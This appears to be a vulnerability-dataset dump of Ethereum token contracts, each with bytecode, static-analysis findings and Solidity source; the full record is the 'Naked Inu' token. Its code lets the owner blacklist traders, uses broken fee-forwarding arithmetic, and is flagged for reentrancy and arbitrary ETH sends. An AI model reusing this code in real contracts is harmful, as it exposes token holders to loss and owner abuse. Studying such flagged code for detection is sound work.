18461353f565b92915050565b6000604082019050613898600083018561353f565b6138a5602083018461322d565b9392505050565b600060a0820190506138c1600083018861353f565b6138ce60208301876132c7565b81810360408301526138e0818661325a565b90506138ef606083018561324b565b6138fc608083018461353f565b9695505050505050565b600060208201905061391b600083018461354e565b92915050565b600061392b61393c565b90506139378282613bd6565b919050565b6000604051905090565b600067ffffffffffffffff82111561396157613960613cae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139d282613b34565b91506139dd83613b34565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a1257613a11613c50565b5b828201905092915050565b6000613a2882613b34565b9150613a3383613b34565b925082613a4357613a42613c7f565b5b828204905092915050565b6000613a5982613b34565b9150613a6483613b34565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a9d57613a9c613c50565b5b828202905092915050565b6000613ab382613b34565b9150613abe83613b34565b925082821015613ad157613ad0613c50565b5b828203905092915050565b6000613ae782613b14565b9050919050565b60008115159050919050565b60006dffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b6000613b6682613b7f565b9050919050565b6000613b7882613b34565b9050919050565b6000613b8a82613b91565b9050919050565b6000613b9c82613b14565b9050919050565b60005b83811015613bc1578082015181840152602081019050613ba6565b83811115613bd0576000848401525b50505050565b613bdf82613cdd565b810181811067ffffffffffffffff82111715613bfe57613bfd613cae565b5b80604052505050565b6000613c1282613b34565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c4557613c44613c50565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f42757920616d6f756e742065786365656473206d617820545820616d6f756e74600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f427579696e6720616761696e20746f6f20736f6f6e0000000000000000000000600082015250565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b7f53656c6c696e6720746f6f20736f6f6e00000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f74726164696e672069736e2774206f70656e0000000000000000000000000000600082015250565b61409181613adc565b811461409c57600080fd5b50565b6140a881613aee565b81146140b357600080fd5b50565b6140bf81613afa565b81146140ca57600080fd5b50565b6140d681613b34565b81146140e157600080fd5b50565b6140ed81613b3e565b81146140f857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122069fb6c14509cc2f09f188d30d89065d99418eb3e0be82ba4923a264da05cc3e664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,587
0x825309B8ed2d686b2FaeAE5E98ab097c89EEf063
/* https://t.me/nakedinutoken */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NakedInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Naked Inu"; string private constant _symbol = "NAKED"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(3).mul(10)); _marketingFunds.transfer(amount.div(7).mul(10)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610305578063c3c8cd8014610325578063d543dbeb1461033a578063dd62ed3e1461035a57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118ba565b6103a0565b005b34801561014657600080fd5b506040805180820190915260098152684e616b656420496e7560b81b60208201525b60405161017591906119fe565b60405180910390f35b34801561018a57600080fd5b5061019e61019936600461188f565b61044d565b6040519015158152602001610175565b3480156101ba57600080fd5b50683635c9adc5dea000005b604051908152602001610175565b3480156101e057600080fd5b5061019e6101ef36600461184f565b610464565b34801561020057600080fd5b506101386104cd565b34801561021557600080fd5b5060405160098152602001610175565b34801561023157600080fd5b50610138610240366004611981565b610890565b34801561025157600080fd5b506101386102603660046117df565b6108d8565b34801561027157600080fd5b50610138610923565b34801561028657600080fd5b506101c66102953660046117df565b610950565b3480156102a657600080fd5b50610138610972565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e357600080fd5b50604080518082019091526005815264139052d15160da1b6020820152610168565b34801561031157600080fd5b5061019e61032036600461188f565b6109e6565b34801561033157600080fd5b506101386109f3565b34801561034657600080fd5b506101386103553660046119b9565b610a29565b34801561036657600080fd5b506101c6610375366004611817565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d35760405162461bcd60e51b81526004016103ca90611a51565b60405180910390fd5b60005b8151811015610449576001600a600084848151811061040557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044181611b64565b9150506103d6565b5050565b600061045a338484610afc565b5060015b92915050565b6000610471848484610c20565b6104c384336104be85604051806060016040528060288152602001611bcf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611032565b610afc565b5060019392505050565b6000546001600160a01b031633146104f75760405162461bcd60e51b81526004016103ca90611a51565b600f54600160a01b900460ff16156105515760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103ca565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082683635c9adc5dea00000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117fb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117fb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117fb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f81610950565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119d1565b5050600f8054673e7336287142000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610449919061199d565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016103ca90611a51565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016103ca90611a51565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094357600080fd5b4761094d8161106c565b50565b6001600160a01b03811660009081526002602052604081205461045e90611101565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016103ca90611a51565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045a338484610c20565b600c546001600160a01b0316336001600160a01b031614610a1357600080fd5b6000610a1e30610950565b905061094d81611185565b6000546001600160a01b03163314610a535760405162461bcd60e51b81526004016103ca90611a51565b60008111610aa35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103ca565b610ac16064610abb683635c9adc5dea000008461132a565b906113a9565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ca565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ca565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ca565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ca565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ca565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610fd557600f54600160b81b900460ff1615610e5b576001600160a01b0383163014801590610dad57506001600160a01b0382163014155b8015610dc75750600e546001600160a01b03848116911614155b8015610de15750600e546001600160a01b03838116911614155b15610e5b57600e546001600160a01b0316336001600160a01b03161480610e1b5750600f546001600160a01b0316336001600160a01b0316145b610e5b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ca565b601054811115610e6a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eac57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb557600080fd5b600f546001600160a01b038481169116148015610ee05750600e546001600160a01b03838116911614155b8015610f0557506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1a5750600f54600160b81b900460ff165b15610f68576001600160a01b0382166000908152600b60205260409020544211610f4357600080fd5b610f4e42600f611af6565b6001600160a01b0383166000908152600b60205260409020555b6000610f7330610950565b600f54909150600160a81b900460ff16158015610f9e5750600f546001600160a01b03858116911614155b8015610fb35750600f54600160b01b900460ff165b15610fd357610fc181611185565b478015610fd157610fd14761106c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101757506001600160a01b03831660009081526005602052604090205460ff165b15611020575060005b61102c848484846113eb565b50505050565b600081848411156110565760405162461bcd60e51b81526004016103ca91906119fe565b5060006110638486611b4d565b95945050505050565b600c546001600160a01b03166108fc611091600a61108b8560036113a9565b9061132a565b6040518115909202916000818181858888f193505050501580156110b9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d9600a61108b8560076113a9565b6040518115909202916000818181858888f19350505050158015610449573d6000803e3d6000fd5b60006006548211156111685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ca565b6000611172611417565b905061117e83826113a9565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111db57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122f57600080fd5b505afa158015611243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126791906117fb565b8160018151811061128857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ae9130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e7908590600090869030904290600401611a86565b600060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113395750600061045e565b60006113458385611b2e565b9050826113528583611b0e565b1461117e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ca565b600061117e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143a565b806113f8576113f8611468565b61140384848461148b565b8061102c5761102c6005600855600a600955565b6000806000611424611582565b909250905061143382826113a9565b9250505090565b6000818361145b5760405162461bcd60e51b81526004016103ca91906119fe565b5060006110638486611b0e565b6008541580156114785750600954155b1561147f57565b60006008819055600955565b60008060008060008061149d876115c4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cf9087611621565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fe9086611663565b6001600160a01b038916600090815260026020526040902055611520816116c2565b61152a848361170c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159e82826113a9565b8210156115bb57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e18a600854600954611730565b92509250925060006115f1611417565b905060008060006116048e87878761177f565b919e509c509a509598509396509194505050505091939550919395565b600061117e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611032565b6000806116708385611af6565b90508381101561117e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ca565b60006116cc611417565b905060006116da838361132a565b306000908152600260205260409020549091506116f79082611663565b30600090815260026020526040902055505050565b6006546117199083611621565b6006556007546117299082611663565b6007555050565b60008080806117446064610abb898961132a565b905060006117576064610abb8a8961132a565b9050600061176f826117698b86611621565b90611621565b9992985090965090945050505050565b600080808061178e888661132a565b9050600061179c888761132a565b905060006117aa888861132a565b905060006117bc826117698686611621565b939b939a50919850919650505050505050565b80356117da81611bab565b919050565b6000602082840312156117f0578081fd5b813561117e81611bab565b60006020828403121561180c578081fd5b815161117e81611bab565b60008060408385031215611829578081fd5b823561183481611bab565b9150602083013561184481611bab565b809150509250929050565b600080600060608486031215611863578081fd5b833561186e81611bab565b9250602084013561187e81611bab565b929592945050506040919091013590565b600080604083850312156118a1578182fd5b82356118ac81611bab565b946020939093013593505050565b600060208083850312156118cc578182fd5b823567ffffffffffffffff808211156118e3578384fd5b818501915085601f8301126118f6578384fd5b81358181111561190857611908611b95565b8060051b604051601f19603f8301168101818110858211171561192d5761192d611b95565b604052828152858101935084860182860187018a101561194b578788fd5b8795505b8386101561197457611960816117cf565b85526001959095019493860193860161194f565b5098975050505050505050565b600060208284031215611992578081fd5b813561117e81611bc0565b6000602082840312156119ae578081fd5b815161117e81611bc0565b6000602082840312156119ca578081fd5b5035919050565b6000806000606084860312156119e5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2a57858101830151858201604001528201611a0e565b81811115611a3b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad55784516001600160a01b031683529383019391830191600101611ab0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0957611b09611b7f565b500190565b600082611b2957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4857611b48611b7f565b500290565b600082821015611b5f57611b5f611b7f565b500390565b6000600019821415611b7857611b78611b7f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094d57600080fd5b801515811461094d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202caf84c86efe83f52c06a0e2f06f766d587997fd0ffb58a1c8ccdcc38b6a741564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,588
0x563a21d29692837b0cc1d2c5382bd5beac879652
/** *Submitted for verification at Etherscan.io on 2021-05-28 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // File: @openzeppelin/contracts/utils/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev 